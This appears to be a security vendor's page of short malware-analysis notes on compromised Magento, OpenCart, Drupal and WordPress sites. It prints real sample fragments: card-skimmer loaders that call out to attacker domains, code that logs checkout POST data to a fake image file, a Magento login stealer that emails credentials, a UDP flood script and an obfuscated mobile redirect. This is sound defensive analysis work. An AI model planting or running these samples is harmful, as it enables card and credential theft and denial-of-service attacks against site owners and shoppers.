Home Testimonials Company Support 1–888–873–0817
Home Notes Malware Signatures About

Lately we’ve been analysing multiple credit card stealers for Magento. We are seeing an increase trend there as attackers can more easily monetize a compromised e-commerce site compared to one without credit card data.

This new variation the CC stealer isn’t injected directly into the website but loaded from an external source. Loading the code from another source allows the attacker to perform any modifications in the malware source code without the need of “reinfecting” the site.

Here is a snippet of the code that we found inside Magento's /js/lib/ccard.js

<!-- Google Code for Remarketing Tag -->
if((new RegExp('onepage|checkout|onestep|firecheckout')).test(window.location))
{document.write('<script src="hxxps://jquery -cdn .top/mage .js"></script>')};
<!-- Google Code for Remarketing Tag -->

Basically this javascript acts like a man-in-the-middle between the user and the checkout process/page and whenever a credit card information is provided, it allows the original processing from the CMS but at the same time it forwards the data to a malicious domain at hxxps://jquery-cdn . top/ mag.php.

We also found a slightly different version of the malicious code inside /js/scriptaculous/effects.js:

if((new RegExp('onepage|checkout|onestep|fircheckout')).test(window.location)) {document.write('>tpircs/<>"sj.egam/ue.todstats//:spxxh"=crs tpircs<'.split("").reverse().join(""))}

Putting the code in a readable format we get:

if ((new RegExp('onepage|checkout|onestep|firecheckout')).test(window.location)) {
	document.write('<script src="hxxps:// statsdot. eu/mage.js"></script>)

In this case, the script uses the domain hxxps:// statsdot. eu to load the javascript and it sends the credit card data over to hxxps://statsdot .eu /mag.php

Interesting point about these domains is that attackers are sending the stolen information through secure channels (https). And, even though the credit card information isn’t processed directly at your shop, it’s very important to ensure that your website is updated and has the latest patches installed.

Moreover, in order to detect, mitigate and prevent such issues from happening, we also recommend having a Website Application Firewall (WAF) in place, keeping regular backups and using a File Integrity Monitoring tool to ensure the integrity of your file system.

We at Sucuri, always stress the risks associated with using themes, plugins or any add-on downloaded from unofficial sources (Nulled Versions). During our investigation process, we found into a theme, a malicious code being used to promote an external website and possibly generate revenue to the “developer” without user’s consent. Inside the downloaded package there were lots of files named index.php and default.php throughout different folders. Those files contained the following base64 code:

 <?php $wfk='PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDotOTk5OXB4OyI+CjxhIGhyZWY9Imh0dHA6Ly9qb29tbGE0ZXZlci5ydS9ib3d0aGVtZXMvMjI4Ny1idC1waG90b2dyYXBoeS5odG1sIiB0aXRsZT0iQlQgUGhvdG9ncmFwaHkgLSDRiNCw0LHQu9C+0L0gam9vbWxhIiB0YXJnZXQ9Il9ibGFuayI+QlQgUGhvdG9ncmFwaHkgLSDRiNCw0LHQu9C+0L0gam9vbWxhPC9hPgo8YSBocmVmPSJodHRwOi8vYWxsLWJvb2submV0LyIgdGl0bGU9ItCa0L3QuNCz0LgiIHRhcmdldD0iX2JsYW5rIj7QmtC90LjQs9C4PC9hPgo8L2Rpdj4='; echo base64_decode($wfk); ?>

Decoding it into a human-readable format, we got these “invisible” malicious links:

<div style="position:absolute;top:0;left:-9999px;">
<a href="hxxp://joomla4ever .ru/bowthemes/2287-bt-photography.html" title="BT Photography - шаблон joomla" target="_blank">BT Photography - шаблон joomla</a>
<a href="hxxp://all-book .net/" title="Книги" target="_blank">Книги</a>

This kind of infection is commonly injected into Nulled components for different CMS’s and are designed specifically to damage the SEO positioning of a website due to the arbitrary links as well as promoting a particular website with intent to generate revenue for the “developers”.

To reduce the risks, we always recommend downloading any add-on (themes, plugins, extensions) for your site directly from the official source because you never know which extra “feature” you are getting from those “alternative” versions.

You may find more information related to this infection here, here and here.

SEO spam is very common for a reason -- money. Spammers are paid to promote websites on Google. We deal with lots of SEO spam cases daily. The most common cases are database infections, theme file infections and random spammy html pages. However, few days ago we found an interesting variation: a whole CMS specially configured and used to load spam on a website.

Read More ...

An infected site can be efficient for cyber-criminals unless it gets blacklisted. Traffic significantly drops when a URL is on the Google’s Safe Browsing list. And if the hacked site is used for sending out email spam, then the success of the spam campaign directly correlates to absence of the server in anti-spam blacklists. That’s why it is important for hackers to know whether the sites they compromised are blacklisted or not.

Here’s an example of malware that works with Google’s and Spamhaus’s blacklists.

Read More ...

We are often seeing malicious code being used to steal credit card details and sensitive information from compromised Magento sites, but this one caught our eyes as it was a bit different from the others on how the information was collected and stored.

Usually, the attacker send all the sensitive information via e-mail but in this case a text file with a "jpg" extension is created to store all the data:

if(preg_match("/".base64_decode('YWRtaW58cGF5bWVudHxvcmRlcnxzYXZlT3JkZXJ8b25lcGFnZXxjaGVja291dA==')."/i", $_SERVER["REQUEST_URI"])){ 
if(!empty($_POST))@file_put_contents(base64_decode('L2Nocm9vdC9ob21lL2RhaWx5Z3JhL2RhaWx5Z3JhYnMuY29tL2h0bWwvbWVkaWEvY2F0YWxvZy9wcm9kdWN0LzIvMS8yMV8xLmpwZw=='), base64_encode( @serialize($_POST)."--".@seralize($_COOKIE) )."\n", FILE_APPEND);
Read More ...

After a website is compromised, it can be misused in multiple ways. We often see it being used on Spam SEO campaigns or to distribute drive-by-downloads. However, last week, we found an interesting DDoS (Denial of Service) tool on one of our clients websites that I would like to share.

The code was added to /var/tmp and being called by an external PHP script to allow a remote attacker to start DDoS against specific targets. This is a snippet of the malicious code:

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpakets;
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &"); 
goto randpackets;
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
for (;;) {
$size=$rand x $rand x $rand;
$port=(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));

The malware takes an $ip, $port and $time as an argument to launch the attack:

my ($ip,$port,$size,$time);
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

Once the information is supplied, the script sends as many UDP packets as possible trying to flood the victim’s network. The side effect is that the compromised server could also get overloaded by its resources (cpu/memory) consumption and also overflow bandwidth limits.

If your site is currently experiencing high usage of server resources or unexpected behavior, it could be an indication of a compromise. It’s equally important to be on the lookout for such issues.

You can always count on CloudProxy, our website firewall, to help you protecting your site against this and many other attacks.

It’s very common to see backdoors such as uploaders among site’s files. However, we have seen more often cases where file uploaders, mainly in Drupal websites, are located in the database. Many anti-malware products won’t catch those since they usually look only the files and don’t check the database content. Below is an example of a file uploader found in an entry of an Drupal database:

The code above was embedded in a malicious post created by the attacker, as you can see in the following screenshot:

The code itself is simple as it just accepts a generic file upload and pushes to the root of the site. However, if the database is not properly inspected in your Drupal website, you can be reinfected even after a deep inspection of your files.

If your site is currently infected and you need help cleaning it up, let us know.

While analyzing a compromised Magento site, we found another Credit Card (CC) stealer variation. We posted a few times about this type of malware, but this one is a bit different in a way that it also steals the login credentials for the website users. All the ones we analyzed before never had such behaviour.

The malicious code was found inside the app/code/core/Mage/Admin/Model/Session.php file and emails to XXX@XXX.com every login and password:

class Mage_Admin_Model_Session extends Mage_Core_Model_Session_Abstract
	...skipped code...
	protected function testReview($username, $password, $email)
	    $to = 'removed@removed.dom';
	    $subject = 'Webserver';
	    $message = $username.'|'.$pssword.'|'.$email.'|'.$_SERVER['REQUEST_URI'];
	    $headers = 'From: removed@removed.dom' . "\r\n" .
	        'Reply-To: removed@removed.dom' . "\r\n" .
	        'X-Mailer: PHP/' . phpversion();
	    mail($to, $subject, $message, $headers);
	...skipped code...
    public function login($username, $password, $request = null) {
    ...skipped code...
	if ($user->getId()) {
				$this->testReview($username, $password, $user->getEmail());
               	...skipped code...
...skipped code...

This is the first time we see a malware on Magento that actually steals credentials alongside with credit card numbers. If you're using Magento as e-commerce solution, always check your core files for any modified content, and do regular scans. As always, if you need a professional service for your website, you can count on Sucuri.

We have previously analyzed many Credit Card stealers code, specially targeting the Magento platform:

However, this type of malicious code is not only being used against Magento, as we see if often on other ecommerce platforms. To give an example, we were analyzing a compromised OpenCart site and found the following entry on the file:

mail("swordsofnorthshirei@yopmail.com","infectedOpenCart",$smail,"From: infected@anotheropencartsite.dom\r\nReply-to: bademail@yopmail.com");

If you are not familiar with PHP, this code gets all credit card transaction data (including name, address, CVV, etc) and email to swordsofnorthshirei@yopmail.com. Yopmail(.)com is a domain that allows the use of disposable e-mail inboxes.

As you can see, ecommerce sites (and customers) have a lot more to lose when they get compromised as they process and deal with critical information from their users. Whenever possible, we recommend using 3rd party providers, like Stripe or Paypal to reduce your PCI scope and do not allow credit card data to pass through your site.

If you run OpenCart or any other ecommerce platform, check out our Sucuri Firewall to protect your site from attacks and compromises.

We recently found a website that was redirecting mobile users to a third-party site called chickenkiller .com, after further investigation we found that the malware was actually injected into the database, the code was hex encoded to prevent users from being able to search for the domain in the malicious code.

The malware was stored in: wp_options -> FieldName: option_value -> ID: 3284 (this value may not be the same on every infection)

Here's a snippet of the code you may find on infected sites:

a:1:{s:7:"padding";s:1888:"</script><script>var _0x93d9=[&quot;\x77\x70\x6B\x6A","\x63\x6F\x6F\x6B\x69\x65&quot;,"\x3D"
(navigator[_0x93d9[2]])){window[_0x93d9[3]]=_0x93d9[4]}else {if(/Android/i[_0x93d9[1]](navigator[_0x93d9[2]])){window[_0x93d9[3]]=_0x93d9[5]}};};

This malware's obfuscation technique is not too complex, when deobfuscated, the most interesting part is the conditional redirect, which tells us that the malware had two different final URLs depending on which flavor of the mobile OS:

    if (!readCookie("wpkj") {
        createCookie("wpkj", "test", 1);
        if (/iPhone|iPad|iPod/i ["test"](navigator["userAgent"])) {
            window[location] = "http:// load-me.chickenkiller .com/5972"
        } else {
            if (/Android/i ["wpkj"](navigator["test"])) {
                window[location] = "http:// load-me.chickenkiller .com/596F"

What we learn form this sample is that checking only your site's files for anomalies is not enough. Once an attack happens, the attacker can add malicious content to your site's database. It could be a backdoor or a malicious redirect for mobile phones.